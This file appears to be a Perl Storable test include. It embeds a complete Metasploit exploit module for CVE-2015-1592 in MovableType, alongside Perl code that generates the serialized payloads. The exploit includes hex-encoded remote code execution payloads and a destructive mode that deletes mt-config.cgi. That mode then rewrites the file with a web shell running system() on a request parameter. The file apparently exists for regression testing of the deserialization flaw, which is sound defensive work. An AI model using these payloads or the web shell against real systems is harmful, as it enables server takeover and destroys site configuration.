summaryrefslogtreecommitdiff
path: root/gnu/usr.bin/perl/dist/Storable/t/CVE-2015-1592.inc
blob: 481dba5307ddc1c511fb31516b78190ca993d4ac (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
#!/usr/bin/perl

=pod

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SixApart MovableType Storable Perl Code Execution',
      'Description'    => %q{
          This module exploits a serialization flaw in MovableType before 5.2.12 to execute
          arbitrary code. The default nondestructive mode depends on the target server having
          the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths.
          The destructive mode of operation uses only required MovableType dependencies,
          but it will noticeably corrupt the MovableType installation.
      },
      'Author'         =>
        [
          'John Lightsey',
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2015-1592' ],
          [ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ],
        ],
      'Privileged'     => false, # web server context
      'Payload'        =>
        {
          'DisableNops' => true,
          'BadChars'    => ' ',
          'Space'       => 1024,
        },
      'Compat'         =>
        {
          'PayloadType' => 'cmd'
        },
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Automatic', {}]],
      'DisclosureDate' => 'Feb 11 2015',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']),
        OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false])
      ], self.class
    )

  end

=cut

# generate config parameters for injection checks

use Storable;

{

    package XXXCHECKXXX;

    sub STORABLE_thaw {
        return 1;
    }

    sub STORABLE_freeze {
        return 1;
    }

}

my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX;
my $frozen2 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $check_obj});
$frozen2 = unpack 'H*', $frozen2;
#print "LFI test for storable flaw is: $frozen2\n";

{
    package DateTime;
    use overload '+' => sub { 'ignored' };
}

=pod

  def check
    vprint_status("Sending storable test injection for XXXCHECKXXX.pm load failure")
    res = send_request_cgi({
        'method'    => 'GET',
        'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
        'vars_get' => {
          '__mode' => 'retry',
          'step'   => 'configure',
          'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078'
        }
      })

    unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm")
      vprint_status("Failed XXXCHECKXXX.pm load test");
      return Exploit::CheckCode::Safe
    end
    Exploit::CheckCode::Vulnerable
  end

  def exploit
    if datastore['DESTRUCTIVE']
      exploit_destructive
    else
      exploit_nondestructive
    end
  end

=cut

#!/usr/bin/perl

# Generate nondestructive config parameter for RCE via Object::MultiType
# and Try::Tiny. The generated value requires minor modification to insert
# the payload inside the system() call and resize the padding.

use Storable;

{
    package Object::MultiType;
    use overload '+' => sub { 'ingored' };
}

{
    package Object::MultiType::Saver;
}

#{
#    package DateTime;
#    use overload '+' => sub { 'ingored' };
#}

{
    package Try::Tiny::ScopeGuard;
}

my $try_tiny_loader = bless {}, 'DateTime';
my $multitype_saver = bless { c => 'MT::run_app' }, 'Object::MultiType::Saver';
my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType';
my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 'Try::Tiny::ScopeGuard';

my $data = [$try_tiny_loader, $try_tiny_executor];
my $frozen1 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
$frozen1 = unpack 'H*', $frozen1;
#print "RCE payload requiring Object::MultiType and DateTime: $frozen1\n";

=pod

  def exploit_nondestructive
    print_status("Using nondestructive attack method")
    config_payload = "53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b"
    config_payload <<  payload.encoded.unpack('H*')[0]
    config_payload << "7d293b"
    config_payload << "23" * (1025 - payload.encoded.length)
    config_payload << "0a657869743b"

    print_status("Sending payload (#{payload.raw.length} bytes)")

    send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
      'vars_get' => {
        '__mode' => 'retry',
        'step'   => 'configure',
        'config' => config_payload
      }
    }, 5)
  end

=cut

#!/usr/bin/perl

# Generate destructive config parameter to unlink mt-config.cgi

use Storable;

{
    package CGITempFile;
}

my $unlink_target = "mt-config.cgi";
my $cgitempfile = bless \$unlink_target, "CGITempFile";

$data = [$cgitempfile];
my $frozen_data = Storable::freeze($data);
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . $frozen_data;
$frozen = unpack 'H*', $frozen;
#print "RCE unlink payload requiring CGI: $frozen\n";

# $Storable::DEBUGME = 1;
# $^W = 1;
Storable::thaw($frozen_data);

=pod

def exploit_destructive
    print_status("Using destructive attack method")
    # First we need to delete mt-config.cgi using the storable injection

    print_status("Sending storable injection to unlink mt-config.cgi")

    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
      'vars_get' => {
        '__mode' => 'retry',
        'step'   => 'configure',
        'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769'
      }
    })

    if res && res.code == 200
      print_status("Successfully sent unlink request")
    else
      fail_with(Failure::Unknown, "Error sending unlink request")
    end

    # Now we rewrite mt-config.cgi to accept a payload

    print_status("Rewriting mt-config.cgi to accept the payload")

    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
      'vars_get'  => {
        '__mode'             => 'next_step',
        'step'               => 'optional',
        'default_language'   => 'en_us',
        'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1",
        'set_static_uri_to'  => '/',
        'config'             => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/',
      }
    })

    if res && res.code == 200
      print_status("Successfully sent mt-config rewrite request")
    else
      fail_with(Failure::Unknown, "Error sending mt-config rewrite request")
    end

    # Finally send the payload

    print_status("Sending payload request")

    send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'mt.cgi'),
      'vars_get'  => {
        'xyzzy'   => payload.encoded,
      }
    }, 5)
  end

=cut